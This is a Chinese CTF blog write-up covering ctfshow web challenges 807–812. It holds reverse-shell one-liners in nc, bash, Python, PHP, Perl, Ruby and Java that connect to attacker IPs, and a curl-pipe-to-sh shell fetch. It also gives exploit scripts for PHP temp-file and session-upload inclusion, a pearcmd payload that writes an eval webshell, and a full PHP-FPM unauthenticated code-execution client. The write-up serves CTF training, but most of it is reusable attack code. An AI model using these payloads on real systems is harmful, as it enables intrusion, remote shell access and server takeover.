[ctfshow web入门]常用姿势807-812

0x00 前言

接上一篇继续记录ctfshow web入门常用姿势 嗝

807 反弹shell N种姿势

参考

https://cloud.tencent.com/developer/article/1680591

nc 不同操作系统情况不同 多试试

• nc ip port -e /bin/sh (alpine)
• nc -e /bin/bash ip port
• nc -e /bin/sh ip port
• nc -c bash ip port

bash

• bash -c “bash -i >& /dev/tcp/ip/port 0>&1” (tcp)
• sh -i >& /dev/tcp/ip/port 0>&1 (udp)

python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

perl

perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

public class Revs {
    /**
    * @param args
    * @throws Exception 
    */
public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

编译执行
javac Revs.java
java Revs

祭出群主超人做的集合网站
https://your-shell.com/
curl https://your-shell.com/ip:port |sh
直接回弹

808 卡临时文件包含

参考

https://blog.csdn.net/qq_45521281/article/details/106498971

CVE-2018-14884

影响版本：An issue was discovered in PHP 7.0.x before 7.0.27, 7.1.x before 7.1.13, and 7.2.x before 7.2.1
wappalyzer分析出题目环境php版本为7.0.33不知道为啥也能用了

php代码中使用php://filter的strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除，这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

import requests

url="http://483248ff-82c5-42bb-a11b-aae16c8857e8.challenge.ctf.show/?file=php://filter/string.strip_tags/resource=/etc/passwd"

files={
    'file':('')
    }
r=requests.post(url=url,files=files)

再访问就有了

穿插一个session.upload_progress

参考

https://www.freebuf.com/articles/web/288430.html

利用条件

• session.upload_progress.enabled = on
• session.upload_progress.cleanup = on
• session.upload_progress.prefix = “upload_progress_”
• session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
• session.use_strict_mode

session.upload_progress.enabled可以控制是否开启session.upload_progress功能
session.upload_progress.cleanup可以控制是否在上传之后删除文件内容
session.upload_progress.prefix可以设置上传文件内容的前缀
session.upload_progress.name的值即为session中的键值

session.use_strict_mode选项默认是0，在这个情况下，用户可以自己定义自己的sessionid，例如当用户在cookie中设置sessionid=Lxxx时，PHP就会生成一个文件/tmp/sess_Lxxx，此时也就初始化了session，并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中

不过对容器很不友好…

import requests
import io
import threading

url = "http://7d3140f4-beae-498e-a5ac-41b0398aa2ed.challenge.ctf.show/index.php"
sessid = "kidult"

def write(session):
    filebytes = io.BytesIO(b'a' * 1024 * 50)
    while True:
        res = session.post(url,
        data={
        'PHP_SESSION_UPLOAD_PROGRESS': ""
        },
        cookies={
        'PHPSESSID': sessid
        },
        files={
        'file': ('kidult.jpg', filebytes)
        }
        )

def read(session):
    while True:
        res = session.post(url+"?a=/tmp/sess_"+sessid,
        data={
        "1":""
        },
        cookies={
        "PHPSESSID":sessid
        }
        )
        res2 = session.get("http://7d3140f4-beae-498e-a5ac-41b0398aa2ed.challenge.ctf.show/?file=/tmp/sess_kidult")
        if '333' in res2.text:
            print(res2.text)
            print("成功写入！")
            exit()
        else:
            print("Retry")

if __name__ == "__main__":
    evnet = threading.Event()
    with requests.session() as session:
        for i in range(5):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()
    evnet.set()

809 pear文件包含/RCE

呼呼 推销一下之前写的湖湘杯 pear的较为基础

https://blog.csdn.net/weixin_45751765/article/details/121628030?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164994550016782089359874%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=164994550016782089359874&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2_blogfirst_rank_ecpm_v1~rank_v31_ecpm-1-121628030.nonecase&utm_term=pear&spm=1018.2226.3001.4450

记得用burp发包 往tmp写 一般当前没写权限

?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[a]);?>+/tmp/shell.php

810 SSRF打PHP-FPM

常规姿势gopherus生成payload url编码之后进行命令执行

811 file_put_contents打fpm

参照之前写过的陇原战疫

https://blog.csdn.net/weixin_45751765/article/details/121414538?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165003304016781685389775%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165003304016781685389775&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2_blogfirst_rank_ecpm_v1~rank_v31_ecpm-1-121414538.nonecase&utm_term=%E9%99%87%E5%8E%9F%E6%9D%AF&spm=1018.2226.3001.4450

利用ftp被动模式 使靶机自身9000端口发送恶意数据
主动连接反弹shell
nc ip port -e /bin/sh

812 PHP-FPM未授权

神中神p神之前写过

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

题目就是一个nc 应该就是fpm端口挂在外面了
根据fastcgi协议编写poc

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

无敌捏

0x02 rethink

有点粗糙了 想分析点东西后面会回头再回来写